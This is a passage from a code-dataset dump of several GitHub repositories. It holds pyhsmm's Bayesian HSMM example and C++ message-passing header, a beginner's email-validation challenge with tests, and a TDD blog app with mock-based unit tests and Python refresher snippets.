\"/pyhsmm/basic/__init__.py\",\n \"repo_name\": \"RyoOzaki/pyhsmm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from . import models\\nfrom . import distributions\\nfrom . import abstractions\\n\"\n },\n {\n \"alpha_fraction\": 0.6142857074737549,\n \"alphanum_fraction\": 0.6458333134651184,\n \"avg_line_length\": 29,\n \"blob_id\": \"0e3617de122203cb87b97412da476f3e3c8436e8\",\n \"content_id\": \"bd25871af1ee81938c78beb9a25c107a9cab5bdc\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1680,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 56,\n \"path\": \"/examples/concentration-resampling.py\",\n \"repo_name\": \"RyoOzaki/pyhsmm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import division\\nimport numpy as np\\nnp.seterr(divide='ignore') # these warnings are usually harmless for this code\\nfrom matplotlib import pyplot as plt\\nimport os\\nimport scipy.stats as stats\\n\\nimport pyhsmm\\nfrom pyhsmm.util.text import progprint_xrange\\n\\n###############\\n# load data #\\n###############\\n\\nT = 1000\\ndata = np.loadtxt(os.path.join(os.path.dirname(__file__),'example-data.txt'))[:T]\\n\\n#########################\\n# posterior inference #\\n#########################\\n\\nNmax = 20\\nobs_dim = data.shape[1]\\nobs_hypparams = {'mu_0':np.zeros(obs_dim),\\n 'sigma_0':np.eye(obs_dim),\\n 'kappa_0':0.25,\\n 'nu_0':obs_dim+2}\\ndur_hypparams = {'alpha_0':2*30,\\n 'beta_0':2}\\n\\nobs_distns = [pyhsmm.distributions.Gaussian(**obs_hypparams) for state in range(Nmax)]\\ndur_distns = [pyhsmm.distributions.PoissonDuration(**dur_hypparams) for state in range(Nmax)]\\n\\nposteriormodel = pyhsmm.models.WeakLimitHDPHSMM(\\n # NOTE: instead of passing in alpha_0 and gamma_0, we pass in parameters\\n # for priors over those concentration parameters\\n alpha_a_0=1.,alpha_b_0=1./4,\\n gamma_a_0=1.,gamma_b_0=1./4,\\n init_state_concentration=6.,\\n obs_distns=obs_distns,\\n dur_distns=dur_distns)\\nposteriormodel.add_data(data,trunc=70)\\n\\nfor idx in progprint_xrange(100):\\n posteriormodel.resample_model()\\n\\nplt.figure()\\nposteriormodel.plot()\\nplt.gcf().suptitle('Sampled after 100 iterations')\\n\\nplt.figure()\\nt = np.linspace(0.01,30,1000)\\nplt.plot(t,stats.gamma.pdf(t,1.,scale=4.)) # NOTE: numpy/scipy scale is inverted compared to my scale\\nplt.title('Prior on concentration parameters')\\n\\nplt.show()\\n\"\n },\n {\n \"alpha_fraction\": 0.5487164855003357,\n \"alphanum_fraction\": 0.5570840835571289,\n \"avg_line_length\": 35.5336799621582,\n \"blob_id\": \"c80361d8dd0a836322ead23b4e38f3de590b7492\",\n \"content_id\": \"19e79b1c766866f3af4691620c0dc38364812621\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 7051,\n \"license_type\": \"permissive\",\n \"max_line_length\": 95,\n \"num_lines\": 193,\n \"path\": \"/pyhsmm/internals/hsmm_messages.h\",\n \"repo_name\": \"RyoOzaki/pyhsmm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#ifndef HSMM_H\\n#define HSMM_H\\n\\n#include <Eigen/Core>\\n#include <iostream> // cout, endl\\n#include <algorithm> // min\\n\\n#include \\\"util.h\\\"\\n#include \\\"nptypes.h\\\"\\n\\nnamespace hsmm\\n{\\n using namespace std;\\n using namespace Eigen;\\n using namespace nptypes;\\n\\n template <typename Type>\\n void messages_backwards_log(\\n int M, int T, Type *A, Type *aBl, Type *aDl, Type *aDsl,\\n Type *betal, Type *betastarl, int right_censoring, int trunc)\\n {\\n NPMatrix<Type> eA(A,M,M);\\n NPArray<Type> eaBl(aBl,T,M);\\n NPArray<Type> eaDl(aDl,T,M);\\n NPArray<Type> eaDsl(aDsl,T,M);\\n\\n NPArray<Type> ebetal(betal,T,M);\\n NPArray<Type> ebetastarl(betastarl,T,M);\\n\\n#ifdef HMM_TEMPS_ON_HEAP\\n Array<Type,1,Dynamic> sumsofar(M);\\n Array<Type,1,Dynamic> result(M);\\n Array<Type,1,Dynamic> maxes(M);\\n#else\\n Type sumsofar_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<Type> sumsofar(sumsofar_buf,M);\\n Type result_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<Type> result(result_buf,M);\\n Type maxes_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<Type> maxes(maxes_buf,M);\\n#endif\\n\\n Type cmax;\\n ebetal.row(T-1).setZero();\\n for(int t=T-1; t>=0; t--) {\\n sumsofar.setZero();\\n ebetastarl.row(t).setConstant(-1.0*numeric_limits<Type>::infinity());\\n for(int tau=0; tau < min(trunc,T-t); tau++) {\\n sumsofar += eaBl.row(t+tau);\\n result = ebetal.row(t+tau) + sumsofar + eaDl.row(tau);\\n maxes = ebetastarl.row(t).cwiseMax(result);\\n ebetastarl.row(t) =\\n ((ebetastarl.row(t) - maxes).exp() + (result - maxes).exp()).log() + maxes;\\n }\\n if (right_censoring && T-t-1 < trunc) {\\n result = eaBl.block(t,0,T-t,M).colwise().sum() + eaDsl.row(T-1-t);\\n maxes = ebetastarl.row(t).cwiseMax(result);\\n ebetastarl.row(t) =\\n ((ebetastarl.row(t) - maxes).exp() + (result - maxes).exp()).log() + maxes;\\n }\\n for(int i=0; i<M; i++) {\\n if (ebetastarl(t,i) != ebetastarl(t,i)) {\\n ebetastarl(t,i) = -1.0*numeric_limits<Type>::infinity();\\n }\\n }\\n if (likely(t > 0)) {\\n cmax = ebetastarl.row(t).maxCoeff();\\n ebetal.row(t-1) = (eA * (ebetastarl.row(t) - cmax).exp().matrix().transpose()\\n ).array().log() + cmax;\\n for(int i=0; i<M; i++) {\\n if (ebetal(t-1,i) != ebetal(t-1,i)) {\\n ebetal(t-1,i) = -1.0*numeric_limits<Type>::infinity();\\n }\\n }\\n }\\n }\\n }\\n\\n template <typename Type>\\n void messages_forwards_log(\\n int M, int T, Type *A, Type *aBl, Type *aDl, Type *aDsl, Type *pil,\\n Type *alphal, Type *alphastarl)\\n {\\n // TODO trunc, censoring\\n\\n NPMatrix<Type> eA(A,M,M);\\n NPArray<Type> eaBl(aBl,T,M);\\n NPArray<Type> eaDl(aDl,T,M);\\n NPArray<Type> eaDsl(aDsl,T,M);\\n NPRowVectorArray<Type> epil(pil,M);\\n\\n NPArray<Type> ealphal(alphal,T,M);\\n NPArray<Type> ealphastarl(alphastarl,T,M);\\n\\n#ifdef HMM_TEMPS_ON_HEAP\\n Array<Type,1,Dynamic> sumsofar(M);\\n Array<Type,1,Dynamic> result(M);\\n Array<Type,1,Dynamic> maxes(M);\\n#else\\n Type sumsofar_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<Type> sumsofar(sumsofar_buf,M);\\n Type result_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<Type> result(result_buf,M);\\n Type maxes_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<Type> maxes(maxes_buf,M);\\n#endif\\n\\n // TODO\\n\\n }\\n\\n template <typename FloatType, typename IntType>\\n void sample_forwards_log(\\n int M, int T, FloatType *A, FloatType *pi0, FloatType *caBl, FloatType *aDl,\\n FloatType *betal, FloatType *betastarl, IntType *stateseq, FloatType *randseq)\\n {\\n NPArray<FloatType> eA(A,M,M);\\n NPArray<FloatType> ecaBl(caBl,T+1,M);\\n NPArray<FloatType> eaDl(aDl,T,M);\\n NPArray<FloatType> ebetal(betal,T,M);\\n NPArray<FloatType> ebetastarl(betastarl,T,M);\\n NPVectorArray<IntType> estateseq(stateseq,T);\\n\\n#ifdef HMM_TEMPS_ON_HEAP\\n Array<FloatType,1,Dynamic> logdomain(M);\\n Array<FloatType,1,Dynamic> nextstate_distr(M);\\n#else\\n FloatType logdomain_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<FloatType> logdomain(logdomain_buf,M);\\n FloatType nextstate_distr_buf[M] __attribute__((aligned(16)));\\n NPRowVectorArray<FloatType> nextstate_distr(nextstate_distr_buf,M);\\n#endif\\n\\n int t = 0, dur, randseq_idx=0;\\n IntType state;\\n FloatType durprob, p_d_prior, p_d;\\n\\n nextstate_distr = NPRowVectorArray<FloatType>(pi0,M);\\n while (t < T) {\\n // use the messages to form the posterior over states\\n logdomain = ebetastarl.row(t) - ebetastarl.row(t).maxCoeff();\\n nextstate_distr *= logdomain.exp();\\n if ((nextstate_distr == 0.).all()) {\\n cout << \\\"Warning: all-zero posterior state belief, following likelihood\\\"\\n << endl;\\n nextstate_distr = logdomain.exp();\\n }\\n\\n // sample from nextstate_distr\\n state = util::sample_discrete(M,nextstate_distr.data(),randseq[randseq_idx++]);\\n\\n // sample from duration pmf\\n durprob = randseq[randseq_idx++];\\n for(dur=0; durprob > 0. && t+dur < T; dur++) {\\n p_d_prior = exp(eaDl(dur,state));\\n if (0.0 == p_d_prior) {\\n continue;\\n }\\n p_d = p_d_prior * exp(ecaBl(t+dur+1,state) - ecaBl(t,state)\\n + ebetal(t+dur,state) - ebetastarl(t,state));\\n durprob -= p_d;\\n }\\n // NOTE: if t+dur == T, the duration is censored; it will be fixed up in Python\\n\\n // set the output\\n estateseq.segment(t,dur).setConstant(state);\\n t += dur;\\n nextstate_distr = eA.row(state);\\n }\\n }\\n}\\n\\n// NOTE: this class exists for cyhton binding convenience\\n\\ntemplate <typename FloatType, typename IntType = int32_t>\\nclass hsmmc\\n{\\n public:\\n\\n static void messages_backwards_log(\\n int M, int T, FloatType *A, FloatType *aBl, FloatType *aDl, FloatType *aDsl,\\n FloatType *betal, FloatType *betastarl, bool right_censoring, int trunc)\\n { hsmm::messages_backwards_log(M,T,A,aBl,aDl,aDsl,betal,betastarl,\\n right_censoring,trunc); }\\n\\n static void sample_forwards_log(\\n int M, int T, FloatType *A, FloatType *pi0, FloatType *aBl, FloatType *aDl,\\n FloatType *betal, FloatType *betastarl,\\n IntType *stateseq, FloatType *randseq)\\n { hsmm::sample_forwards_log(M,T,A,pi0,aBl,aDl,betal,betastarl,stateseq,randseq); }\\n};\\n\\n#endif\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":6,"string":"6"}}},{"rowIdx":2978371,"cells":{"repo_name":{"kind":"string","value":"mapugliese/basic-email-validation"},"repo_url":{"kind":"string","value":"https://github.com/mapugliese/basic-email-validation"},"snapshot_id":{"kind":"string","value":"48f046cfdd980511a8a6928c51acf564c5610493"},"revision_id":{"kind":"string","value":"110b43ab7337fea50b6eb1a3a751dffacdd92497"},"directory_id":{"kind":"string","value":"3d07b0e83d07a4677942dfe3f55af1396f3bd58e"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-02-15T09:27:43.339610","string":"2023-02-15T09:27:43.339610"},"revision_date":{"kind":"timestamp","value":"2021-01-17T05:17:25","string":"2021-01-17T05:17:25"},"committer_date":{"kind":"timestamp","value":"2021-01-17T05:17:25","string":"2021-01-17T05:17:25"},"github_id":{"kind":"number","value":330081161,"string":"330,081,161"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.705365002155304,"alphanum_fraction":0.7080035209655762,"avg_line_length":41.11111068725586,"blob_id":"d374d1ce531a6274db94389c3afa9c8d0b6552ed","content_id":"2bf91993bbeb92f756ab40c02dfac01485122b72","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1147,"license_type":"no_license","max_line_length":144,"num_lines":27,"path":"/README.md","repo_name":"mapugliese/basic-email-validation","src_encoding":"UTF-8","text":"# email-validation\nfunction that determines if a string is a valid email address\n\nfrom https://edabit.com/challenge/TBCujkw9D8hrEgFc4:\n\n Basic E-Mail Validation\n Create a function that accepts a string, checks if it's a valid email address and returns either True or False, depending on the evaluation.\n\n The string must contain an @ character.\n The string must contain a . character.\n The @ must have at least one character in front of it.\n e.g. \"e@edabit.com\" is valid while \"@edabit.com\" is invalid.\n The . and the @ must be in the appropriate places.\n e.g. \"hello.email@com\" is invalid while \"john.smith@email.com\" is valid.\n If the string passes these tests, it's considered a valid email address.\n\n Examples\n validate_email(\"@gmail.com\") ➞ False\n validate_email(\"hello.gmail@com\") ➞ False\n validate_email(\"gmail\") ➞ False\n validate_email(\"hello@gmail\") ➞ False\n validate_email(\"hello@edabit.com\") ➞ True\n\n Notes\n Check the Tests tab to see exactly what's being evaluated.\n You can solve this challenge with RegEx, but it's intended to be solved with logic.\n Solutions using RegEx will be accepted but frowned upon :(\n"},{"alpha_fraction":0.4784291982650757,"alphanum_fraction":0.4900442361831665,"avg_line_length":34.20000076293945,"blob_id":"4011184f221aad37321faaa0c2f68a83e9dd07c0","content_id":"b5516389c32284cbbdd62ddeeec45ff113b11395","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1808,"license_type":"no_license","max_line_length":77,"num_lines":50,"path":"/email_validation.py","repo_name":"mapugliese/basic-email-validation","src_encoding":"UTF-8","text":"def is_email(email):\r\n '''Function to determine if a given string is a valid email address'''\r\n\r\n if email.count('@') == 1:\r\n # Splits function into local address and domain\r\n # sample@gmail.com ==> local = 'sample', domain = '@gmail.com'\r\n local = email[0: email.index('@')]\r\n domain = email[email.index('@'):]\r\n\r\n else:\r\n return False\r\n\r\n # Ensures the email has a local address and domain\r\n if len(local) > 0 and len(domain) > 0:\r\n\r\n # A local address cannot begin with the following characters\r\n if local[0] != ['-', '_', '.', '0', '1', '2', '3', '4', '5', '6',\r\n '7', '8', '9']:\r\n\r\n # A local address cannot contain the following characters\r\n # Need for loop bc 'in' can only take a string\r\n for x in ['<', '>', '(' , ')', '[', ']', ';', ':', ',', '@', \r\n R'\\ ']:\r\n\r\n if x in local:\r\n return False\r\n else:\r\n return False\r\n\r\n # The length of web address cannot be longer than 64 and must contain\r\n # and an extension beginning in a period (e.g. '.com')\r\n if len(domain) < 64 and domain.count('.') == 1:\r\n\r\n # stores the domain name without the extension\r\n domain_name = domain[1:domain.index('.')]\r\n\r\n # '-' is the only non-alphanumeric character that can be in a\r\n # domain and therefore, it is easiest just to remove it\r\n if '-' in domain_name:\r\n domain_name = domain_name.remove('-')\r\n \r\n # Determines if the domain is alphanumeric\r\n if domain_name.isalnum():\r\n return True\r\n else:\r\n return False\r\n else:\r\n return False\r\n else:\r\n return False"},{"alpha_fraction":0.6972318291664124,"alphanum_fraction":0.6972318291664124,"avg_line_length":24.363636016845703,"blob_id":"d2aef058df19ae2161e5ea09e591eac99ea9283c","content_id":"a564eb0da6026ac28dae069c3a2181b8fbeee67e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":578,"license_type":"no_license","max_line_length":51,"num_lines":22,"path":"/email_validation_basic_test.py","repo_name":"mapugliese/basic-email-validation","src_encoding":"UTF-8","text":"import email_validation\r\n\r\nprint(email_validation.is_email('@edabit.com'))\r\n# False\r\nprint(email_validation.is_email('@edabit'))\r\n# False\r\nprint(email_validation.is_email('matt@edabit.com'))\r\n# True\r\nprint(email_validation.is_email(''))\r\n# False\r\nprint(email_validation.is_email('hello.gmail@com'))\r\n# False\r\nprint(email_validation.is_email('bill.gates@microsoft.com'))\r\n# True\r\nprint(email_validation.is_email('hello@email'))\r\n# False\r\nprint(email_validation.is_email('%^%$#%^%'))\r\n# False\r\nprint(email_validation.is_email('www.email.com'))\r\n# False\r\nprint(email_validation.is_email('email'))\r\n# False"}],"string":"[\n {\n \"alpha_fraction\": 0.705365002155304,\n \"alphanum_fraction\": 0.7080035209655762,\n \"avg_line_length\": 41.11111068725586,\n \"blob_id\": \"d374d1ce531a6274db94389c3afa9c8d0b6552ed\",\n \"content_id\": \"2bf91993bbeb92f756ab40c02dfac01485122b72\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1147,\n \"license_type\": \"no_license\",\n \"max_line_length\": 144,\n \"num_lines\": 27,\n \"path\": \"/README.md\",\n \"repo_name\": \"mapugliese/basic-email-validation\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# email-validation\\nfunction that determines if a string is a valid email address\\n\\nfrom https://edabit.com/challenge/TBCujkw9D8hrEgFc4:\\n\\n Basic E-Mail Validation\\n Create a function that accepts a string, checks if it's a valid email address and returns either True or False, depending on the evaluation.\\n\\n The string must contain an @ character.\\n The string must contain a . character.\\n The @ must have at least one character in front of it.\\n e.g. \\\"e@edabit.com\\\" is valid while \\\"@edabit.com\\\" is invalid.\\n The . and the @ must be in the appropriate places.\\n e.g. \\\"hello.email@com\\\" is invalid while \\\"john.smith@email.com\\\" is valid.\\n If the string passes these tests, it's considered a valid email address.\\n\\n Examples\\n validate_email(\\\"@gmail.com\\\") ➞ False\\n validate_email(\\\"hello.gmail@com\\\") ➞ False\\n validate_email(\\\"gmail\\\") ➞ False\\n validate_email(\\\"hello@gmail\\\") ➞ False\\n validate_email(\\\"hello@edabit.com\\\") ➞ True\\n\\n Notes\\n Check the Tests tab to see exactly what's being evaluated.\\n You can solve this challenge with RegEx, but it's intended to be solved with logic.\\n Solutions using RegEx will be accepted but frowned upon :(\\n\"\n },\n {\n \"alpha_fraction\": 0.4784291982650757,\n \"alphanum_fraction\": 0.4900442361831665,\n \"avg_line_length\": 34.20000076293945,\n \"blob_id\": \"4011184f221aad37321faaa0c2f68a83e9dd07c0\",\n \"content_id\": \"b5516389c32284cbbdd62ddeeec45ff113b11395\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1808,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 50,\n \"path\": \"/email_validation.py\",\n \"repo_name\": \"mapugliese/basic-email-validation\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def is_email(email):\\r\\n '''Function to determine if a given string is a valid email address'''\\r\\n\\r\\n if email.count('@') == 1:\\r\\n # Splits function into local address and domain\\r\\n # sample@gmail.com ==> local = 'sample', domain = '@gmail.com'\\r\\n local = email[0: email.index('@')]\\r\\n domain = email[email.index('@'):]\\r\\n\\r\\n else:\\r\\n return False\\r\\n\\r\\n # Ensures the email has a local address and domain\\r\\n if len(local) > 0 and len(domain) > 0:\\r\\n\\r\\n # A local address cannot begin with the following characters\\r\\n if local[0] != ['-', '_', '.', '0', '1', '2', '3', '4', '5', '6',\\r\\n '7', '8', '9']:\\r\\n\\r\\n # A local address cannot contain the following characters\\r\\n # Need for loop bc 'in' can only take a string\\r\\n for x in ['<', '>', '(' , ')', '[', ']', ';', ':', ',', '@', \\r\\n R'\\\\ ']:\\r\\n\\r\\n if x in local:\\r\\n return False\\r\\n else:\\r\\n return False\\r\\n\\r\\n # The length of web address cannot be longer than 64 and must contain\\r\\n # and an extension beginning in a period (e.g. '.com')\\r\\n if len(domain) < 64 and domain.count('.') == 1:\\r\\n\\r\\n # stores the domain name without the extension\\r\\n domain_name = domain[1:domain.index('.')]\\r\\n\\r\\n # '-' is the only non-alphanumeric character that can be in a\\r\\n # domain and therefore, it is easiest just to remove it\\r\\n if '-' in domain_name:\\r\\n domain_name = domain_name.remove('-')\\r\\n \\r\\n # Determines if the domain is alphanumeric\\r\\n if domain_name.isalnum():\\r\\n return True\\r\\n else:\\r\\n return False\\r\\n else:\\r\\n return False\\r\\n else:\\r\\n return False\"\n },\n {\n \"alpha_fraction\": 0.6972318291664124,\n \"alphanum_fraction\": 0.6972318291664124,\n \"avg_line_length\": 24.363636016845703,\n \"blob_id\": \"d2aef058df19ae2161e5ea09e591eac99ea9283c\",\n \"content_id\": \"a564eb0da6026ac28dae069c3a2181b8fbeee67e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 578,\n \"license_type\": \"no_license\",\n \"max_line_length\": 51,\n \"num_lines\": 22,\n \"path\": \"/email_validation_basic_test.py\",\n \"repo_name\": \"mapugliese/basic-email-validation\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import email_validation\\r\\n\\r\\nprint(email_validation.is_email('@edabit.com'))\\r\\n# False\\r\\nprint(email_validation.is_email('@edabit'))\\r\\n# False\\r\\nprint(email_validation.is_email('matt@edabit.com'))\\r\\n# True\\r\\nprint(email_validation.is_email(''))\\r\\n# False\\r\\nprint(email_validation.is_email('hello.gmail@com'))\\r\\n# False\\r\\nprint(email_validation.is_email('bill.gates@microsoft.com'))\\r\\n# True\\r\\nprint(email_validation.is_email('hello@email'))\\r\\n# False\\r\\nprint(email_validation.is_email('%^%$#%^%'))\\r\\n# False\\r\\nprint(email_validation.is_email('www.email.com'))\\r\\n# False\\r\\nprint(email_validation.is_email('email'))\\r\\n# False\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978372,"cells":{"repo_name":{"kind":"string","value":"AndrewOdiit/TDD"},"repo_url":{"kind":"string","value":"https://github.com/AndrewOdiit/TDD"},"snapshot_id":{"kind":"string","value":"cc9e4f844a916b9c27be29facae5357bc07cf05d"},"revision_id":{"kind":"string","value":"4518d7d824a67ddd4312de9a6abfd37e1f550ebc"},"directory_id":{"kind":"string","value":"5223ed61fad9b4ceccce5a165d4ce92e139dc112"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-08-31T22:35:35.286659","string":"2020-08-31T22:35:35.286659"},"revision_date":{"kind":"timestamp","value":"2019-11-27T16:49:18","string":"2019-11-27T16:49:18"},"committer_date":{"kind":"timestamp","value":"2019-11-27T16:49:18","string":"2019-11-27T16:49:18"},"github_id":{"kind":"number","value":218802432,"string":"218,802,432"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5345744490623474,"alphanum_fraction":0.539893627166748,"avg_line_length":31.69565200805664,"blob_id":"2917c5a49ffc05957b00051fd957eddd6ee773de","content_id":"bbe170543bd8a95b8df7cb8ae406c9a95b459af1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":752,"license_type":"no_license","max_line_length":66,"num_lines":23,"path":"/TDD/blogapp/tests/integration/test_blog.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"from unittest import TestCase\nfrom blogapp.blog import Blog\n\n\nclass Test_Blog(TestCase):\n def test_create_post(self):\n b = Blog(\"andrew's life\", \"andrew\")\n b.create_post(\"hello\", \"hello world\")\n self.assertTrue(type(b.posts) == list)\n\n self.assertEqual(\"hello\", b.posts[0].title)\n self.assertEqual(\"hello world\", b.posts[0].content)\n\n def test_json(self):\n b = Blog(\"andrew's life\", \"andrew\")\n b.create_post(\"hello\", \"hello world\")\n expected = {\"title\": b.title, \"author\": b.author, \"posts\":\n [{\n \"title\": b.posts[0].title,\n \"content\": b.posts[0].content\n }]}\n\n self.assertEqual(expected, b.json())\n"},{"alpha_fraction":0.5857142806053162,"alphanum_fraction":0.6428571343421936,"avg_line_length":13,"blob_id":"d5b759ee391754bcdc6b9482f44cbd5af8b845e3","content_id":"a7522b521f7f7f2b097dc85cfd9666f5a2db7d57","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":70,"license_type":"no_license","max_line_length":24,"num_lines":5,"path":"/Pythonrefresher/kargs.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"def my_method(*args):\n return sum(args)\n\n\nprint(my_method(22, 33))\n"},{"alpha_fraction":0.5581853985786438,"alphanum_fraction":0.5660749673843384,"avg_line_length":20.125,"blob_id":"344d339cbc6f08f403b1d7b8728985fec62e900c","content_id":"f42432a6d2915629eccc7e034de1577f82a48ef7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":507,"license_type":"no_license","max_line_length":55,"num_lines":24,"path":"/Pythonrefresher/deco.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"import functools\n\n\ndef decorator_with_args(number):\n def my_decorator(func):\n @functools.wraps(func)\n def function_that_runs_func():\n print(\"In the decorator\")\n if number <= 56:\n return \"not running function...exiting\"\n else:\n func()\n print(\"After decorator\")\n\n return function_that_runs_func\n return my_decorator\n\n\n@decorator_with_args(76)\ndef my_function():\n print(\"Hello\")\n\n\nprint(my_function())\n"},{"alpha_fraction":0.6481481194496155,"alphanum_fraction":0.6481481194496155,"avg_line_length":14.882352828979492,"blob_id":"8902eadf2b7af4ca691c3aed65830fb45600c04b","content_id":"3ff1d8b4ac3034d282f341e5b816af4f56e5d315","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":270,"license_type":"no_license","max_line_length":34,"num_lines":17,"path":"/Pythonrefresher/hof.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"import functools\n\n\ndef my_decorator(func):\n @functools.wraps(func)\n def function_that_runs_func():\n print(\"In the decorator\")\n func()\n return function_that_runs_func\n\n\n@my_decorator\ndef my_function():\n print(\"I'm the function\")\n\n\nmy_function()\n"},{"alpha_fraction":0.5912531614303589,"alphanum_fraction":0.5923745632171631,"avg_line_length":42.087501525878906,"blob_id":"a46b0d4bd74b182afdc88e4ef283899e08fae025","content_id":"922027edcba75eb448f814d662cc1caab6b8fce7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3567,"license_type":"no_license","max_line_length":89,"num_lines":80,"path":"/TDD/blogapp/tests/system/test_app.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"# system tests , test the entry point to the application\nfrom unittest import TestCase\nfrom unittest.mock import patch\nimport blogapp.app as app\nfrom blogapp.blog import Blog\nfrom blogapp.app import MENU_PROMPT\n\n# patch allows you to test a function that would otherwise not be testable\n# A mock object substitutes and imitates a real object within a testing environment\n\n\nclass TestApp(TestCase):\n #this test is not working \n def setUp(self):\n blog = Blog('Test', 'TestAuthor')\n app.blogs = {'Test': blog}\n\n def test_menu_prints_prompt(self):\n with patch(\"builtins.print\") as mocked_print:\n with patch(\"builtins.input\" ,return_value ='q' ):\n app.menu()\n mocked_print.assert_called()\n def test_print_blog(self):\n # an instance of Blog class, has access to all its methods\n with patch('builtins.print') as mocked_print:\n # on printing the blog , the __repr__ method of the blog class will be called\n app.print_blogs()\n mocked_print.assert_called_with(\n 'title:Test , author:TestAuthor, posts:0')\n\n def test_menu_calls_print_blogs(self):\n with patch(\"blogapp.app.print_blogs\") as mocked_print_blogs:\n with patch(\"builtins.input\", return_value ='q'):\n app.menu()\n mocked_print_blogs.assert_called()\n\n def test_app_ask_create_blog(self):\n with patch(\"builtins.input\") as mocked_input:\n mocked_input.side_effect = ('Test', 'Test Author')\n app.ask_create_blog()\n self.assertIsNotNone(app.blogs.get('Test'))\n\n def test_app_ask_to_read_blog(self):\n blog = app.blogs['Test']\n blog.create_post('TestBlog','testing blog')\n with patch('builtins.input', return_value ='Test'):\n with patch('blogapp.app.print_posts') as mocked_print_posts:\n app.ask_read_blog()\n mocked_print_posts.assert_called_with(blog)\n def test_app_create_post(self):\n blog = app.blogs['Test']\n with patch(\"builtins.input\") as mocked_input:\n mocked_input.side_effect = ('Test', 'Testtitle', 'Testcontent')\n app.ask_create_post()\n self.assertTrue(len(blog.posts)> 0)\n self.assertEqual(blog.posts[0].title , \"Testtitle\")\n self.assertEqual(blog.posts[0].content , \"Testcontent\")\n\n #when you mock a method , the real method is replaced with a mock\n #therefore the real method is not actually called.\n def test_menu_calls_create_blog(self):\n with patch(\"builtins.input\") as mocked_input:\n mocked_input.side_effect =('c', 'testTitle', 'testAuthor','q')\n app.menu()\n #mocked_create_blog.assert_called()\n self.assertIsNotNone(app.blogs.get('testTitle'))\n\n def test_menu_calls_ask_read_blog(self):\n with patch(\"blogapp.app.ask_read_blog\") as mocked_read_blog:\n with patch(\"builtins.input\") as mocked_input:\n mocked_input.side_effect =('r', 'Test','q')\n app.menu()\n mocked_read_blog.assert_called()\n\n def test_menu_calls_ask_create_post(self):\n with patch(\"blogapp.app.ask_create_post\") as mocked_read_blog:\n with patch(\"builtins.input\") as mocked_input:\n mocked_input.side_effect =('p','Test','q')\n app.menu()\n mocked_read_blog.assert_called()\n \n \n\n \n\n\n\n \n\n \n \n \n \n\n\n \n\n\n\n\n \n"},{"alpha_fraction":0.6029411554336548,"alphanum_fraction":0.6323529481887817,"avg_line_length":21.66666603088379,"blob_id":"c2cba6f3e524e36140336888eaaea1b58ef7365a","content_id":"268f77eef55eff3e9dac805c93cddcfbdcbff07c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":204,"license_type":"no_license","max_line_length":73,"num_lines":9,"path":"/Pythonrefresher/comps.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"student = {'name': 'jose', 'school': 'Computing', 'grades': (66, 77, 88)}\n\n\ndef average_grade(data: dict):\n grades = data['grades']\n return sum(grades) / 